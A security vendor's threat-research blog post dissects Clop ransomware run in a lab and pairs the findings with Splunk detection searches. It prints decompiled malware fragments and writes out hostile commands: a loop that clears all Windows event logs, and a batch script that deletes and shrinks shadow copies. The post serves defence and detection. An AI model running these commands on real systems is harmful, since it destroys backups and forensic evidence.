

Detecting Clop Ransomware | Splunk

By Splunk Threat Research Team

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Splunk is committed to using inclusive and unbiased language. This blog post might contain terminology that we no longer use. For more information on our updated terminology and our stance on biased language, please visit [our blog post](#). We appreciate your understanding as we work towards making our community more inclusive for everyone.

Their strategy is to send the malicious payloads via different methods, such as phishing emails, and spreading ransomware payload post-exploitation by exploiting exposed or related vulnerable systems. Actors behind this crimeware then present instructions on how to pay ransom and communicate further threats of exposure by publishing the sensitive information they obtained on a publicly accessible website.

Although this may appear as a new modality, in reality ransomware is usually the cherry on top of the cake, as malicious actors usually dwell, exfiltrate and qualify exfiltrated data, which eventually lands on dark web public forums, dark markets or private crime intelligence brokers where qualified financial, business and komprodat information is then priced and sold to the highest bidder.

[GlobalData] USA FICO CREDIT PROFILE - COMPLETE DETAILS & BACKGROUND REPORT - HUSBAND&WIFE FICO AVAILABLE!

** ** [GlobalData] - Highest quality information provider. Cheapest price on the market! Check my other listings, you might be interested! For additional details feel free to pm me. ** ** Update: Husband and Wife profiles with same personal format available - Check postage options! Product details...

Sold by  - 303 sold since Dec 12, 2015 **Vendor Level 5** **Trust Level 4**

	Features		Features
Product class	Digital goods	Origin country	Worldwide
Quantity left	Unlimited	Ships to	Worldwide
Ends in	Never	Payment	Escrow

Specific DOB + State + 650 FICO - 1 days - USD +8.95 / item 


Purchase price: USD 30.00

Qty: **Buy Now** **Queue**

*Source: [Vericlouds](#)

The above is a simple example of how compromised information is brokered in dark markets. Some private crime intelligence brokers actually present specific company names and verticals. All this information comes from malicious campaigns; victims realize they have been compromised when they observe ransomware in their systems.


In the case of Clop ransomware, the perpetrators threaten to publish stolen information in a publicly accessible site via an onion router (Tor), as seen in the screen capture below.



The Attack


The actors behind Clop ransomware are financially motivated and clearly target several industry verticals. Ransomware is by nature a post-exploitation tool, so before deploying it they must infiltrate the victim's infrastructure. At the Splunk Threat Research team we decided to try this payload on our [Splunk Attack Range Local](#), and this is what we found.

We first started by creating a local environment with a Windows Domain Controller.




We then simply executed the sample:

[d0cde86d47219e9c56b717f55dcdb01b0566344c13aa671613598cab427345b9](https://github.com/0x09ALPHA/clop-ransomware).



Files were encrypted pretty quickly and added the .Clop extension. We can also observe the appearance of the ransomware note (ClopReadMe.txt).



The above screenshots show how quickly data is encrypted, and the victim is clearly warned not to attempt to decrypt. They are also threatened with all file deletion after a period of two weeks.

Reverse Engineering Breakdown

Sandbox Evasion

The Clop binary performs several checks, including running command arguments like “runrun” to enumerate and encrypt the network.

```
v18 = Sleep;
if ( GetACP() && wcslen((const unsigned __int16 *)lpCmdLine) > 5 && StrStrW((PCWSTR)lpCmdLine, L"runrun") )
{
    Sleep(0x1388u);
    v19 = CreateThread(0, 0, Loc_EnumerateNetworkRsrc, 0, 0, 0);
    CloseHandle(v19);
    Sleep(0xFFFFFFFF);
}
if ( GetACP() && wcslen((const unsigned __int16 *)lpCmdLine) > 5 && StrStrW((PCWSTR)lpCmdLine, L"temp.dat") )
{
    Stream = _w fopen((const wchar_t *)lpCmdLine, L"r,ccs=UNICODE");
    if ( !Stream )
        return 0;
```

Defense Evasion

This ransomware has a defense evasion feature where it tries to delete all the logs in the infected machine to avoid detection.

```
ShellExecuteA(  
    0,  
    "open",  
    "cmd.exe",  
    "/C for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"",  
    0,  
    0);  
}
```

Encryption

This ransomware uses the [AES](#) and rc4 algorithm to encrypt the file.

Infection

The binary makes sure only one instance of its code runs on the machine it creates a mutex. If the mutex already exists it will exit the process.

```
v4 = CreateMutexW(0, 0, L"CLOP#666");  
if ( WaitForSingleObject(v4, 0) )  
{  
    CloseHandle(v4);  
    ExitProcess(0);  
}
```

Kill Switch

Some variants of this malware contain a kill switch. The binary checks the keyboard layout of the infected machine and its locale identifier (language). In our sample analysis we found that it tries to skip infection or delete itself if the locale identifier or the keyboard layout is Georgian, Uzbek, Azeri, Kazakhstani or Kyrgyzstani.

```
if ( checkKeyboardLayout() )  
{  
    killswitchVal = GetDC(0);  
    if ( GetTextCharset(killswitchVal) == 0xCC )  
    {  
        deleteMySelf();  
        ExitProcess(0);  
    }  
}
```

```

v0 = 0;
idThread = (unsigned __int16)GetKeyboardLayout(0);
if ( (unsigned __int16)idThread <= 0x437u ) // less than Georgian input Locale Identifier
{
if ( (unsigned __int16)idThread != 0x437 ) // Georgian
{
switch ( (__int16)idThread )
{
case 1049:
case 1058:
case 1059:
case 1064:
case 1067:
return 1;
default:
return v0;
}
return v0;
}
return 1;
}
if ( (unsigned __int16)idThread > 0x82Cu )
{
if ( (unsigned __int16)idThread != 0x843 ) // Uzbekistan
return v0;
return 1;
}
if ( idThread == 0x82C ) // Azeri language
return 1;
if ( (unsigned __int16)idThread >= 0x43Fu ) // Kazakstan
return (unsigned __int16)idThread <= 0x440u || (unsigned __int16)idThread == 0x442; // 0x440 = Kyrgyzstan
return v0;
}

```

Kill Switch Function

```

BOOL deleteMySelf()
{
    BOOL result; // eax
    CHAR Parameters[260]; // [esp+0h] [ebp-20Ch] BYREF
    CHAR Filename[260]; // [esp+104h] [ebp-108h] BYREF

    result = 0;
    if ( GetModuleFileNameA(0, Filename, 0x104u) )
    {
        if ( GetShortPathNameA(Filename, Filename, 0x104u) )
        {
            wsprintfA(Parameters, "/c del \"%s\" >> NUL", Filename);
            if ( GetEnvironmentVariableA("ComSpec", Filename, 0x104u) )
            {
                if ( (int)ShellExecuteA(0, 0, Filename, Parameters, 0, 0) > 32 )
                    result = 1;
            }
        }
    }
    return result;
}

```

Encrypting Network Objects

The following thread is responsible for encrypting files within the network shares by using the following API of mpr.dll as seen below:

- WNetOpenEnumW
- WNetEnumResourceW
- WNetCloseEnum

```
DWORD __usercall EnumNetworkRsrc@<eax>(struct _NETRESOURCEW *a1@<edx>
{
    DWORD result; // eax
    HGLOBAL v4; // eax
    DWORD v5; // edi
    WCHAR *v6; // ebx
    LPCWSTR *v7; // esi
    HANDLE hEnum; // [esp+Ch] [ebp-14h] BYREF
    DWORD cCount; // [esp+10h] [ebp-10h] BYREF
    HGLOBAL hMem; // [esp+14h] [ebp-Ch]
    DWORD BufferSize; // [esp+18h] [ebp-8h] BYREF
    unsigned int v12; // [esp+1Ch] [ebp-4h]

    v12 = a2;
    hEnum = 0;
    result = WNetOpenEnumW(2u, 0, 0, a1, &hEnum);
    if ( !result )
    {
        cCount = 1000;
        BufferSize = 32000;
        v4 = GlobalAlloc(0x40u, 0x7D00u);
        hMem = v4;
        result = WNetEnumResourceW(hEnum, &cCount, v4, &BufferSize);
        if ( !result )
        {
            WNetCloseEnum(hEnum);
            hEnum = 0;
            v5 = 0;
            v6 = (WCHAR *)GlobalAlloc(0x40u, 0x400u);
            if ( cCount )
            {
                v7 = (LPCWSTR *)((char *)hMem + 20);
                do
                {
                    if ( *v7 )
                    {
```


Encrypting Drives By Type

The payload can encrypt files on three drive types (FIXED_DRIVE, REMOVABLE_DRIVE and REMOTE_DRIVE). This function allows the execution of encryption on pretty much any attached or mapped drives, including both local and attached, like a USB hard drive, for example, or remote drives usually mapped for backups and centralized data.

```
v6 = GetDriveTypeW(RootPathName);  
if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE || v6 == DRIVE_REMOTE )  
{  
    CreateThread(0, 0, encryptDrives, RootPathName, 0, 0);  
    Sleep(0xAu);  
}  
Sleep(0x64u);
```

Deleting and Resizing Shadow Storage

Many ransomware variants target the Volume Shadow Copy Service, which is a feature of Windows that allows the operator to restore data from backup. The expected behavior is the deletion of the shadow copy storage. In this variant we found that it first deletes the files and then it resizes them in order to prevent the generation of shadow volume copies, which effectively impairs this service's capabilities.



```
@echo off  
vssadmin Delete Shadows /all /quiet  
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB  
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded  
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB  
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded  
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB  
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded  
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB  
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded  
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB  
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded  
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB  
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded  
vssadmin Delete Shadows /all /quiet
```

Encrypted. rsrc Section (Ransomware Notes and Resizing Shadow Storage)

The .rsrc section is the common place where the encrypted ransomware notes and some scripts are located. This figure shows how it enumerates or looks for the right resource data to decrypt the ransomware note and save it as ClopReadMe.txt.

```
SetErrorMode(1u);  
wprintfw(FileName, L"%s\\ClopReadMe.txt", this);  
v2 = CreateFileW(FileName, 0x80000000, 1u, 0, 3u, 0, 0);  
if ( v2 != (HANDLE)-1 )  
    return (HGLOBAL)CloseHandle(v2);  
v4 = GetModuleHandleW(0);  
v5 = FindResourceW(v4, (LPCWSTR)0xB207, L"SIXSIX");  
v6 = LoadResource(v4, v5);  
v7 = LockResource(v6);  
nNumberOfBytesToWrite = SizeofResource(v4, v5);  
v8 = GlobalAlloc(0x40u, nNumberOfBytesToWrite);  
memmove(v8, v7, nNumberOfBytesToWrite);
```

Detections

The Splunk Threat Research Team has developed a new Analytic Story to detect a Clop ransomware threat; it consists of new and former detections, and you can use the following detection searches.

- Suspicious wevtutil usage
- Windows Event Log Cleared
- Common Ransomware Notes
- Deleting Shadow Copies
- Common Ransomware Extensions (New version)
- High Frequency of File Deletion (New)
- Clop Common Exec Parameter (New)
- Clop Deleting itself (New)
- Resizing Shadow Copies (New)
- Clop Known Service Name (New)
- Suspicious Service File Path Creation (New)
- Clop High Frequency Process Termination (New)
- High Frequency creation of ransomware notes (New)

Detection Searches Breakdown

- Common Ransomware Extensions

Variant A

New Search Save As Close

```
'system' EventCode=11 TargetFilename = "*" \Clop' | stats min(_time) as firstTime max(_time) as lastTime count by Computer EventCode Image file_name TargetFilename | 'security_content_ctime(firstTime) | 'security_content_ctime(lastTime)'
```

✓ 901 events (16/03/2021 11:00:00.000 to 17/03/2021 11:14:15.000) No Event Sampling

Events Patterns **Statistics (901)** Visualization

20 Per Page Format Preview

Computer	EventCode	Image	file_name	TargetFilename
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	.rels.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\rels\rels.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	220c58ccf6a9d972e9f442df42469f027d9f7a2ea83319971746280023bb0c.zip.Clop	C:\Users\Administrator\Downloads\220c58ccf6a9d972e9f442df42469f027d9f7a2ea83319971746280023bb0c.zip.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	220c58ccf6a9d972e9f442df42469f027d9f7a2ea83319971746280023bb0c.zip.Clop	C:\Users\Public\220c58ccf6a9d972e9f442df42469f027d9f7a2ea83319971746280023bb0c.zip.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	450e45b0356146c4bc4c789aa095defc.psmdcp.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\package\services\metadata\core-properties\450e45b0356146c4bc4c789aa095defc.psmdcp.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	7zip.install.19.0.nupkg.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\tools\7zip.install.19.0.nupkg.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	7zip.license.txt.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\tools\7zip.license.txt.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	AAA_Proxy_Automatic_Config_Group.settingcontent-ms.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\package\services\metadata\core-properties\AAA_Proxy_Automatic_Config_Group.settingcontent-ms.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	AAA_SettingsGroupAppSizesList.settingcontent-ms.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\package\services\metadata\core-properties\AAA_SettingsGroupAppSizesList.settingcontent-ms.Clop
win-dc-654.attackrange.local	11	C:\Users\Public\clop.exe	AAA_SettingsGroupAutoPlayDefaults.settingcontent-ms.Clop	C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\package\services\metadata\core-properties\AAA_SettingsGroupAutoPlayDefaults.settingcontent-ms.Clop

Variant B

New Search Save As Close

```
'system' EventCode=11 file_name IN ("*\Clop", "*\CLIP") | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode Image file_name TargetFilename | 'security_content_ctime(firstTime) | 'security_content_ctime(lastTime)'
```

✓ 42 events (17/03/2021 08:00:00.000 to 18/03/2021 08:41:35.000) No Event Sampling

Events Patterns **Statistics (42)** Visualization

20 Per Page Format Preview

Computer	EventCode	Image	file_name	TargetFilename	count	firstTime	lastTime
win-dc-73.attackrange.local	11	C:\Users\Administrator\AppData\Local\Temp\clop_nlar_d.exe	7zip.install.nupkg.Clip	C:\ProgramData\chocolatey\lib\7zip.install\7zip.install.nupkg.Clip	1	2021-03-18T08:28:17	2021-03-18T08:28:17
win-dc-73.attackrange.local	11	C:\Users\Administrator\AppData\Local\Temp\clop_nlar_d.exe	CREDITS.txt.Clip	C:\ProgramData\chocolatey\CREDITS.txt.Clip	1	2021-03-18T08:28:17	2021-03-18T08:28:17
win-dc-73.attackrange.local	11	C:\Users\Administrator\AppData\Local\Temp\clop_nlar_d.exe	ChocolateyFabExpansion.ps1.Clip	C:\ProgramData\chocolatey\helpers\ChocolateyFabExpansion.ps1.Clip	1	2021-03-18T08:28:17	2021-03-18T08:28:17
win-dc-73.attackrange.local	11	C:\Users\Administrator\AppData\Local\Temp\clop_nlar_d.exe	Get-ChecksumValid.ps1.Clip	C:\ProgramData\chocolatey\helpers\functions\Get-ChecksumValid.ps1.Clip	1	2021-03-18T08:28:17	2021-03-18T08:28:17

- High Frequency of File Deletion

New Search Save As Close

```
'system' EventCode=23 TargetFilename IN ("*.cmd", "*.ini", "*.gif", "*.jpg", "*.png", "*.doc", "*.ps1", "*.docx", "*.xls", "*.ppt", "*.bmp", "*.zip", "*.rar", "*.7z", "*.chm", "*.log", "*.vbs", "*.js") | stats values(TargetFilename) as deleted_files min(_time) as firstTime max(_time) as lastTime count by Computer user EventCode Image ProcessID | where count >=100 | 'security_content_ctime(firstTime) | 'security_content_ctime(lastTime)'
```

✓ 256 events (17/03/2021 10:00:00.000 to 18/03/2021 10:32:55.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview

Computer	user	EventCode	Image	ProcessID	deleted_files	firstTime	lastTime	count
win-dc-654.attackrange.local	Administrator	23	C:\Users\Public\clop.exe	2784	C:\Recycle.Bin\5-1-5-21-798532476-3956299320-1675380311-500\desktop.ini C:\Config\remoting\for\ansible.ps1 C:\Temp\terraform_658959487.cmd C:\Users\Administrator\AppData\Local\Ec2Wallpaper.jpg C:\Users\Administrator\AppData\Local\Ec2Wallpaper_Info.jpg C:\Users\Administrator\AppData\Local\IconCache.db C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall.ps1 C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\helpers\ChocolateyFabExpansion.ps1 C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\helpers\chocolatey\ScriptRunner.ps1 C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\helpers\functions\Format-FileSize.ps1 C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\helpers\functions\Get-ChecksumValid.ps1 C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\helpers\functions\Get-ChocolateyZip.ps1 C:\Users\Administrator\AppData\Local\Temp\chocolatey\chocoinstall\tools\chocolateyinstall\helpers\functions\Get-	2021-03-18T09:47:50	2021-03-18T09:47:50	148

- Resizing Shadow Copies

New Search Save As Close

```
| tstats 'security_content_summariesonly' values(Processes.process) as cmdline values(Processes.parent_process_name) as parent_process_name values(Processes.process_name) as process_name min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = "cmd.exe" OR Processes.parent_process_name = "powershell.exe" OR Processes.parent_process_name = "powershell.exe" OR Processes.parent_process_name = "wmic.exe" Processes.process_name = "vssadmin.exe" Processes.process_name="*resize*" Processes.process="shadowstorage" Processes.process="*maxsize*" by Processes.parent_process_name Processes.parent_process_name Processes.process_name Processes.dest Processes.user | 'security_content_ctime(firstTime)' | 'security_content_ctime(lastTime)'
```

✓ 12 events (17/03/2021 09:00:00.000 to 18/03/2021 09:56:40.000) No Event Sampling

Events Patterns **Statistics (12)** Visualization

20 Per Page Format Preview

Processes.parent_process_name	Processes.parent_process	Processes.process_name	Processes.process	Processes.dest	Processes.user	cmdline	parent_process	process_name	firstTime	lastTime
cmd.exe	C:\Windows\system32\cmd.exe /c "C:\Users\Public\resort8-0-0-1-1-0.bat"	vssadmin.exe	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=401MB	win-dc-654.attackrange.local	Administrator	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=401MB	cmd.exe	vssadmin.exe	2021-03-18T09:47:50	2021-03-18T09:47:50
cmd.exe	C:\Windows\system32\cmd.exe /c "C:\Users\Public\resort8-0-0-1-1-0.bat"	vssadmin.exe	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=unbounded	win-dc-654.attackrange.local	Administrator	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=unbounded	cmd.exe	vssadmin.exe	2021-03-18T09:47:50	2021-03-18T09:47:50
cmd.exe	C:\Windows\system32\cmd.exe /c "C:\Users\Public\resort8-0-0-1-1-0.bat"	vssadmin.exe	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=401MB	win-dc-654.attackrange.local	Administrator	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=401MB	cmd.exe	vssadmin.exe	2021-03-18T09:47:50	2021-03-18T09:47:50
cmd.exe	C:\Windows\system32\cmd.exe /c "C:\Users\Public\resort8-0-0-1-1-0.bat"	vssadmin.exe	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=unbounded	win-dc-654.attackrange.local	Administrator	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=unbounded	cmd.exe	vssadmin.exe	2021-03-18T09:47:50	2021-03-18T09:47:50

Raw Search

New Search Save As Close

```
index = test EventCode=1 parent_process_name IN ("cmd.exe", "powershell.exe", "powershell.exe", "wmic.exe") process_name = "vssadmin.exe" OriginalFileName="VSSADMIN.EXE" cmdline = "*resize*" cmdline="*shadow*" cmdline="*maxsize*" stats count by _time EventCode parent_process_name process cmdline
```

✓ 12 events (09/03/2021 17:00:00.000 to 10/03/2021 17:24:38.000) No Event Sampling

Events Patterns **Statistics (12)** Visualization

20 Per Page Format Preview

_time	EventCode	parent_process_name	process	cmdline	count
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=401MB	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=401MB	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=unbounded	vssadmin resize shadowstorage /for:c:/on:c:/maxsize=unbounded	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=401MB	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=401MB	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=unbounded	vssadmin resize shadowstorage /for:d:/on:d:/maxsize=unbounded	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:e:/on:e:/maxsize=401MB	vssadmin resize shadowstorage /for:e:/on:e:/maxsize=401MB	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:e:/on:e:/maxsize=unbounded	vssadmin resize shadowstorage /for:e:/on:e:/maxsize=unbounded	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:f:/on:f:/maxsize=401MB	vssadmin resize shadowstorage /for:f:/on:f:/maxsize=401MB	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:f:/on:f:/maxsize=unbounded	vssadmin resize shadowstorage /for:f:/on:f:/maxsize=unbounded	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:g:/on:g:/maxsize=401MB	vssadmin resize shadowstorage /for:g:/on:g:/maxsize=401MB	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:g:/on:g:/maxsize=unbounded	vssadmin resize shadowstorage /for:g:/on:g:/maxsize=unbounded	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:h:/on:h:/maxsize=401MB	vssadmin resize shadowstorage /for:h:/on:h:/maxsize=401MB	1
2021-03-10 16:15:49	1	cmd.exe	vssadmin resize shadowstorage /for:h:/on:h:/maxsize=unbounded	vssadmin resize shadowstorage /for:h:/on:h:/maxsize=unbounded	1

- Clop Common Exec Parameter

New Search Save As Close

```
| tstats 'security_content_summariesonly' values(Processes.process) as cmdline values(Processes.parent_process_name) as parent_process_name values(Processes.process_name) count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = "*runrun*" OR Processes.process = "*temp.dat*" by Processes.parent_process_name Processes.parent_process_name Processes.process Processes.dest Processes.user | 'security_content_ctime(firstTime)' | 'security_content_ctime(lastTime)'
```

✓ 2 events (17/03/2021 14:00:00.000 to 18/03/2021 14:59:43.000) No Event Sampling

Events Patterns **Statistics (2)** Visualization

20 Per Page Format Preview

Processes.parent_process_name	Processes.parent_process	Processes.process	Processes.dest	Processes.user	cmdline	parent_process	values(Processes.process_name)	count	firstTime	lastTime
cmd.exe	clop_mlrx.exe	clop_mlrx.exe	win-dc-73.attackrange.local	Administrator	clop_mlrx.exe runrun	cmd.exe	clop_mlrx.exe	1	2021-03-18T14:53:48	2021-03-18T14:53:48
cmd.exe	clop_mlrx.exe	clop_mlrx.exe	win-dc-73.attackrange.local	Administrator	clop_mlrx.exe temp.dat	cmd.exe	clop_mlrx.exe	1	2021-03-18T14:53:48	2021-03-18T14:53:48

- Clop Deleting itself

New Search Save As Close

```
'sysmon' EventCode=1 cmdline = "/c del" Image = "*cmd.exe" eval result = if(like(process,"*",parent_process,"*"), "contained", "Not contained") | stats min(_time) as firstTime max(_time) as lastTime count by Computer user ParentImage ParentCommandLine Image | 'security_content_ctime(firstTime)' | 'security_content_ctime(lastTime)'
```

✓ 1 event (16/03/2021 12:00:00.000 to 17/03/2021 12:34:46.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview

Computer	user	ParentImage	ParentCommandLine	Image	cmdline	EventCode	ProcessID	result	firstTime	lastTime	count
win-dc-654.attackrange.local	Administrator	C:\Users\Public\clop.exe	"C:\Users\Public\clop.exe"	C:\Windows\Sys0W64\cmd.exe	"C:\Windows\system32\cmd.exe" /c del "C:\Users\Public\clop.exe" >> NUL	1	2784	contained	2021-03-17T09:32:24	2021-03-17T09:32:24	1

- Clop Known Service Name

New Search Save As Close

```
'wineventlog_system' EventCode=7845 Service_Name IN ("SecurityCenterIBM", "WinCheckORVs") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode Service_File_Name Service_Name Service_Start_Type
Service_Type
| 'security_content_ctime(firstTime)'
| 'security_content_ctime(lastTime)'
```

✓ 1 event (16/03/2021 10:00:00.000 to 17/03/2021 10:05:49.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview

EventCode	Service_File_Name	Service_Name	Service_Start_Type	Service_Type	count	firstTime	lastTime
7845	c:\Users\Public\clop.exe	SecurityCenterIBM	auto start	user mode service	1	2021-03-17T09:49:14	2021-03-17T09:49:14

- Suspicious Service File Path Creation

New Search Save As Close

```
'wineventlog_system' EventCode=7845 Service_File_Name = "*" .exe"
NOT (Service_File_Name IN ("C:\Windows\*", "C:\Program Files*", "C:\ProgramData\*", "systemroot\*"))
Service_Type = "user mode service"
| stats count min(_time) as firstTime max(_time) as lastTime by EventCode Service_File_Name Service_Name Service_Start_Type Service_Type
| 'security_content_ctime(firstTime)'
| 'security_content_ctime(lastTime)'
```

✓ 1 event (16/03/2021 16:00:00.000 to 17/03/2021 16:11:27.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview

EventCode	Service_File_Name	Service_Name	Service_Start_Type	Service_Type	count	firstTime	lastTime
7845	c:\Users\Public\clop.exe	SecurityCenterIBM	auto start	user mode service	1	2021-03-17T09:49:14	2021-03-17T09:49:14

- Clop High Frequency Process Termination

New Search Save As Close

```
'system' EventCode=5
|bin _time span=1s
|stats values(Image) as proc_terminated min(_time) as firstTime max(_time) as lastTime count by Computer EventCode | where count >= 15
| 'security_content_ctime(firstTime)'
| 'security_content_ctime(lastTime)'
```

✓ 50 events (16/03/2021 16:00:00.000 to 17/03/2021 16:40:16.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview

Computer	EventCode	proc_terminated	firstTime	lastTime	count
win-dc-654.attackrange.local	5	C:\Users\Administrator\Downloads\ProcessMonitor\Procmon64.exe C:\Users\Public\NTAoSgr.exe C:\Users\Public\NTrtsan.exe C:\Users\Public\NTrMon.exe C:\Users\Public\aptsv.exe C:\Users\Public\clop.exe C:\Users\Public\ibang58.exe C:\Users\Public\ibsnmp.exe C:\Users\Public\lensv.exe C:\Users\Public\lexal.exe C:\Users\Public\firefoxconfig.exe C:\Users\Public\lfpqpath.exe C:\Users\Public\lsqlplussv.exe C:\Users\Public\lmastray.exe C:\Users\Public\lmaess.exe C:\Users\Public\lftesql.exe C:\Users\Public\lmpub.exe C:\Users\Public\lmydesktoptopos.exe C:\Users\Public\lmydesktopserv.exe C:\Users\Public\lmysqlid-nt.exe	2021-03-17T09:32:24	2021-03-17T09:32:24	49

- High Frequency creation of ransomware notes

Variant B

New Search Save As Close

```
'sysmon' EventCode=1 | file_name IN ("*.txt", "*.html", "*.hta")
| stats min(_time) as firstTime max(_time) as lastTime dc(TargetFilename) as unique_readme_path_count values(TargetFilename) as list_of_readme_path by Computer Image file_name
| where unique_readme_path_count >= 30
| 'security_content_ctime(firstTime)'
| 'security_content_ctime(lastTime)'
```

✓ 116 events (17/03/2021 08:00:00.000 to 18/03/2021 08:50:55.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview

Computer	Image	file_name	firstTime	lastTime	unique_readme_path_count	list_of_readme_path
wln-dc-73.attackrange.local	C:\Users\Administrator\AppData\Local\Temp\clop_slwr_d.exe	README_README.txt	2021-03-18T08:28:17	2021-03-18T08:28:17	40	C:\ProgramData\Amazon\EC2-Windows\Launch\Config\README_README.txt C:\ProgramData\Amazon\EC2-Windows\Launch\Log\README_README.txt C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\README_README.txt C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts\README_README.txt C:\ProgramData\Amazon\EC2-Windows\Launch\README_README.txt C:\ProgramData\Amazon\EC2-Windows\Launch\Scripts\README_README.txt C:\ProgramData\Amazon\EC2-Windows\Launch\Sysprep\README_README.txt C:\ProgramData\Amazon\SSM\Logs\README_README.txt C:\ProgramData\Amazon\SSM\Logs\audits\README_README.txt C:\ProgramData\Package Cache\53f1dc9d-e994-4650-a879-129785ce7985\README_README.txt C:\ProgramData\Package Cache\674c5ef7-9d58-4548-a711-6b82e2469bd8\README_README.txt C:\ProgramData\Package Cache\ba1812b9-5f2c-4e6a-b720-5cd8247ad61\README_README.txt C:\ProgramData\README_README.txt C:\ProgramData\USDP\ivate\UpdateStore\README_README.txt C:\ProgramData\USOShared\Logs\README_README.txt C:\ProgramData\chocolatey\chocolatey7zip.19.0\README_README.txt

Variant A

New Search Save As Close

```
'sysmon' EventCode=1 | file_name IN ("*.txt", "*.html", "*.hta")
| stats min(_time) as firstTime max(_time) as lastTime dc(TargetFilename) as unique_readme_path_count values(TargetFilename) as list_of_readme_path by Computer Image file_name
| where unique_readme_path_count >= 50
| 'security_content_ctime(firstTime)'
| 'security_content_ctime(lastTime)'
```

✓ 324 events (17/03/2021 10:00:00.000 to 18/03/2021 10:22:44.000) No Event Sampling

Events Patterns **Statistics (1)** Visualization

20 Per Page Format Preview


Computer	Image	file_name	firstTime	lastTime	unique_readme_path_count	list_of_readme_path
